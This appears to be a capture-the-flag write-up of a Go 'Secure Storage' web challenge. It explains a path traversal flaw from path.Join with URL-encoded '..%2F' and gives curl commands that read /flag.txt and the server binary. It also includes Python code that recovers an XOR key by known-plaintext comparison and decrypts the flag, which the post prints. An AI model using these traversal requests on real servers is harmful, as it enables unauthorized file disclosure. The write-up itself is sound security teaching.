MoeWalls
401 words
2 minutes
Secure Storage
The challenge presents a “Secure Storage” web application that allows users to upload and download files. The files are encrypted using XOR encryption with a session-specific key.
Initial Analysis
Key observations from analyzing main.go:
- File Upload/Download System: Users can upload files which are encrypted with XOR before storage
- Session Management: Each session gets a unique encryption key (64 bytes) stored in SQLite database
- Encryption: Files are XOR encrypted with the session key using
xorCopy()function - File Paths: Upload uses
filepath.Join()with sanitization, but download usespath.Join()
Vulnerability: Path Traversal
The critical vulnerability is in the handleDownload function:
fileName := r.PathValue("file")filePath := path.Join(dir, fileName)The Bug:
- The download handler uses
path.Join()instead offilepath.Join() path.Join()is designed for URL paths, not filesystem paths- URL-encoded path traversal sequences like
..%2Fare NOT cleaned by the Go HTTP router - After URL decoding,
..%2Fbecomes../which allows directory traversal
Exploitation Strategy
The path traversal allows reading arbitrary files, but there’s a catch:
- The flag is located at
/flag.txt - When downloading ANY file, it gets XOR encrypted with the session key
- Downloaded flag =
plaintext_flag XOR key - We need the XOR key to decrypt the flag!
Getting the Encryption Key
- Download the Go binary at
/app/mainusing path traversal - The binary is a known ELF format with predictable header bytes
- Build the same binary locally to get the exact plaintext
- XOR the downloaded (encrypted) binary with local binary to extract the key:
key = encrypted_binary XOR known_plaintext_binary - Use the extracted key to decrypt the flag
Exploitation Steps
Step 1: Download Encrypted Flag
curl "http://target/download/..%2F..%2F..%2F..%2Fflag.txt" \ -b "sid=YOUR_SESSION_COOKIE"Step 2: Download the Binary to Extract Key
curl "http://target/download/..%2F..%2F..%2F..%2Fapp%2Fmain" \ -b "sid=YOUR_SESSION_COOKIE" \ -o main_encryptedStep 3: Build Local Binary
go build -o main_local main.goStep 4: Extract the 64-byte XOR Key
#!/usr/bin/env python3
with open('main_encrypted', 'rb') as f: encrypted_binary = f.read()
with open('main_local', 'rb') as f: local_binary = f.read()
# Extract 64-byte key by XORing first 64 byteskey = bytearray(64)for i in range(64): key[i] = encrypted_binary[i] ^ local_binary[i]
print(f"Key: {key.hex()}")Step 5: Decrypt the Flag
#!/usr/bin/env python3
key = bytes.fromhex("3e1169a2c4f80a4c...") # extracted keyencrypted_flag = bytes.fromhex("507411d7b783667f...") # from step 1
flag = bytearray()for i in range(len(encrypted_flag)): flag.append(encrypted_flag[i] ^ key[i % 64])
print(flag.decode())Root Cause Analysis
- Incorrect Path Function: Using
path.Join()(URL paths) instead offilepath.Join()(filesystem paths) - Missing Input Validation: No sanitization on the
fileNameparameter in download handler - Inconsistent Security: Upload properly sanitizes with
filepath.Base(), but download doesn’t
Key Takeaways
- Path vs Filepath: Go’s
pathpackage is for URLs,filepathis for filesystem paths - Known Plaintext Attacks: XOR encryption is vulnerable when attackers can access both ciphertext and plaintext
- Defense in Depth: Multiple controls prevent exploitation
Flag
nexus{l34k_7h3_k3y_br34k7h3_c1ph3r} Secure Storage
https://daryx.vercel.app/posts/nexthunt-secure-storage/